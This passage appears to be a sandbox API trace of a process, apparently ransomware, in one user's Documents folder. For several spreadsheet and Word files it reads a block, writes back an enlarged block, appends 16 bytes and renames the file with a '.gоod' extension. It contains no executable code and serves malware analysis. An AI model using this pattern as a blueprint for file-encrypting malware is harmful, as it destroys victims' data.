nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x39d3630*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0242.430] CloseHandle (hObject=0x864) returned 1 [0242.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx", lpFilePart=0x0) returned 0x24 [0242.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0242.430] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\jneid.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0242.430] GetFileType (hFile=0x864) returned 0x1 [0242.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0242.430] GetFileType (hFile=0x864) returned 0x1 [0242.430] WriteFile (in: hFile=0x864, lpBuffer=0x37fe9a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x37fe9a8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0242.431] CloseHandle (hObject=0x864) returned 1 [0242.431] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx", lpFilePart=0x0) returned 0x24 [0242.431] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx.gоod", lpFilePart=0x0) returned 0x29 [0242.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0242.431] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\jneid.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3658d60, ftCreationTime.dwHighDateTime=0x1d53f75, ftLastAccessTime.dwLowDateTime=0xa65714a0, ftLastAccessTime.dwHighDateTime=0x1d56c3c, ftLastWriteTime.dwLowDateTime=0x8cb789a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x95e5)) returned 1 [0242.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0242.431] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\jneid.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\JNeid.xlsx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\jneid.xlsx.gоod")) returned 1 [0242.432] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx", lpFilePart=0x0) returned 0x24 [0242.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0242.432] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\k0pib.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x3a20588 | out: lpFileInformation=0x3a20588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45469750, ftCreationTime.dwHighDateTime=0x1d5512d, ftLastAccessTime.dwLowDateTime=0x100403d0, ftLastAccessTime.dwHighDateTime=0x1d54880, ftLastWriteTime.dwLowDateTime=0x100403d0, ftLastWriteTime.dwHighDateTime=0x1d54880, nFileSizeHigh=0x0, nFileSizeLow=0xaf47)) returned 1 [0242.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0242.432] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx", lpFilePart=0x0) returned 0x24 [0242.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0242.432] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\k0pib.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0242.433] GetFileType (hFile=0x864) returned 0x1 [0242.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0242.433] GetFileType (hFile=0x864) returned 0x1 [0242.433] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0242.433] ReadFile (in: hFile=0x864, lpBuffer=0x3a20910, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3a20910*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0242.433] CloseHandle (hObject=0x864) returned 1 [0242.433] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx", lpFilePart=0x0) returned 0x24 [0242.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0242.433] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\k0pib.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0242.434] GetFileType (hFile=0x864) returned 0x1 [0242.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0242.434] GetFileType (hFile=0x864) returned 0x1 [0242.434] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xaf47 [0242.463] WriteFile (in: hFile=0x864, lpBuffer=0x3849698*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3849698*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0242.463] CloseHandle (hObject=0x864) returned 1 [0242.463] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx", lpFilePart=0x0) returned 0x24 [0242.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0242.464] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\k0pib.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0242.464] GetFileType (hFile=0x864) returned 0x1 [0242.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0242.464] GetFileType (hFile=0x864) returned 0x1 [0242.464] ReadFile (in: hFile=0x864, lpBuffer=0x384b910, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x384b910*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0242.491] CloseHandle (hObject=0x864) returned 1 [0242.491] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx", lpFilePart=0x0) returned 0x24 [0242.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0242.491] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\k0pib.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0242.491] GetFileType (hFile=0x864) returned 0x1 [0242.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0242.492] GetFileType (hFile=0x864) returned 0x1 [0242.492] WriteFile (in: hFile=0x864, lpBuffer=0x384a6b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x384a6b0*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0242.492] CloseHandle (hObject=0x864) returned 1 [0242.492] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx", lpFilePart=0x0) returned 0x24 [0242.492] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx.gоod", lpFilePart=0x0) returned 0x29 [0242.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0242.492] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\k0pib.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45469750, ftCreationTime.dwHighDateTime=0x1d5512d, ftLastAccessTime.dwLowDateTime=0x100403d0, ftLastAccessTime.dwHighDateTime=0x1d54880, ftLastWriteTime.dwLowDateTime=0x8cc11387, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xaf57)) returned 1 [0242.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0242.492] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\k0pib.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\k0pIB.xlsx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\k0pib.xlsx.gоod")) returned 1 [0242.493] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx", lpFilePart=0x0) returned 0x2c [0242.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0242.493] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\knxusng8dwpbu.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x38c7d70 | out: lpFileInformation=0x38c7d70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a888c00, ftCreationTime.dwHighDateTime=0x1d551b9, ftLastAccessTime.dwLowDateTime=0xe708dcf0, ftLastAccessTime.dwHighDateTime=0x1d54940, ftLastWriteTime.dwLowDateTime=0xe708dcf0, ftLastWriteTime.dwHighDateTime=0x1d54940, nFileSizeHigh=0x0, nFileSizeLow=0x1140b)) returned 1 [0242.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0242.494] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx", lpFilePart=0x0) returned 0x2c [0242.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0242.494] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\knxusng8dwpbu.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0242.494] GetFileType (hFile=0x864) returned 0x1 [0242.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0242.494] GetFileType (hFile=0x864) returned 0x1 [0242.494] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0242.494] ReadFile (in: hFile=0x864, lpBuffer=0x38c8138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x38c8138*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0242.494] CloseHandle (hObject=0x864) returned 1 [0242.495] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx", lpFilePart=0x0) returned 0x2c [0242.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0242.495] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\knxusng8dwpbu.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0242.495] GetFileType (hFile=0x864) returned 0x1 [0242.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0242.495] GetFileType (hFile=0x864) returned 0x1 [0242.495] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1140b [0242.495] WriteFile (in: hFile=0x864, lpBuffer=0x38c93a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x38c93a8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0242.495] CloseHandle (hObject=0x864) returned 1 [0242.495] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx", lpFilePart=0x0) returned 0x2c [0242.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0242.495] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\knxusng8dwpbu.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0242.495] GetFileType (hFile=0x864) returned 0x1 [0242.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0242.495] GetFileType (hFile=0x864) returned 0x1 [0242.496] ReadFile (in: hFile=0x864, lpBuffer=0x38cb640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x38cb640*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0243.477] CloseHandle (hObject=0x864) returned 1 [0243.477] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx", lpFilePart=0x0) returned 0x2c [0243.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0243.477] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\knxusng8dwpbu.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0243.478] GetFileType (hFile=0x864) returned 0x1 [0243.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0243.478] GetFileType (hFile=0x864) returned 0x1 [0243.478] WriteFile (in: hFile=0x864, lpBuffer=0x384caa8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x384caa8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0243.478] CloseHandle (hObject=0x864) returned 1 [0243.478] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx", lpFilePart=0x0) returned 0x2c [0243.478] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx.gоod", lpFilePart=0x0) returned 0x31 [0243.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0243.478] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\knxusng8dwpbu.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a888c00, ftCreationTime.dwHighDateTime=0x1d551b9, ftLastAccessTime.dwLowDateTime=0xe708dcf0, ftLastAccessTime.dwHighDateTime=0x1d54940, ftLastWriteTime.dwLowDateTime=0x8d574705, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1141b)) returned 1 [0243.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0243.478] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\knxusng8dwpbu.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kNxusNg8DwPBu.xlsx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\knxusng8dwpbu.xlsx.gоod")) returned 1 [0243.479] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx", lpFilePart=0x0) returned 0x2f [0243.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0243.479] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx" (normalized: "c:\\users\\fd1hvy\\documents\\o-iieh-jxmidqnh6.docx"), fInfoLevelId=0x0, lpFileInformation=0x3a52fb0 | out: lpFileInformation=0x3a52fb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf34de380, ftCreationTime.dwHighDateTime=0x1d5c347, ftLastAccessTime.dwLowDateTime=0x5ff7b2d0, ftLastAccessTime.dwHighDateTime=0x1d59fea, ftLastWriteTime.dwLowDateTime=0x5ff7b2d0, ftLastWriteTime.dwHighDateTime=0x1d59fea, nFileSizeHigh=0x0, nFileSizeLow=0xe375)) returned 1 [0243.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0243.480] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx", lpFilePart=0x0) returned 0x2f [0243.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0243.480] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx" (normalized: "c:\\users\\fd1hvy\\documents\\o-iieh-jxmidqnh6.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0243.480] GetFileType (hFile=0x864) returned 0x1 [0243.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0243.480] GetFileType (hFile=0x864) returned 0x1 [0243.480] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0243.480] ReadFile (in: hFile=0x864, lpBuffer=0x3a53388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3a53388*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0243.481] CloseHandle (hObject=0x864) returned 1 [0243.481] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx", lpFilePart=0x0) returned 0x2f [0243.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0243.481] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx" (normalized: "c:\\users\\fd1hvy\\documents\\o-iieh-jxmidqnh6.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0243.481] GetFileType (hFile=0x864) returned 0x1 [0243.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0243.481] GetFileType (hFile=0x864) returned 0x1 [0243.481] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xe375 [0243.482] WriteFile (in: hFile=0x864, lpBuffer=0x3a54600*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3a54600*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0243.482] CloseHandle (hObject=0x864) returned 1 [0243.482] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx", lpFilePart=0x0) returned 0x2f [0243.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0243.482] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx" (normalized: "c:\\users\\fd1hvy\\documents\\o-iieh-jxmidqnh6.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0243.482] GetFileType (hFile=0x864) returned 0x1 [0243.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0243.482] GetFileType (hFile=0x864) returned 0x1 [0243.483] ReadFile (in: hFile=0x864, lpBuffer=0x3a568a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3a568a0*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0243.632] CloseHandle (hObject=0x864) returned 1 [0243.632] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx", lpFilePart=0x0) returned 0x2f [0243.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0243.632] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx" (normalized: "c:\\users\\fd1hvy\\documents\\o-iieh-jxmidqnh6.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0243.632] GetFileType (hFile=0x864) returned 0x1 [0243.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0243.632] GetFileType (hFile=0x864) returned 0x1 [0243.632] WriteFile (in: hFile=0x864, lpBuffer=0x3887ca8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3887ca8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0243.633] CloseHandle (hObject=0x864) returned 1 [0243.633] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx", lpFilePart=0x0) returned 0x2f [0243.633] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\O-iIEH-JxmiDqnH6.docx.gоod", lpFilePart=0x0) returned 0x34 [0243.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0243.633] GetFileAttributesExW (in: 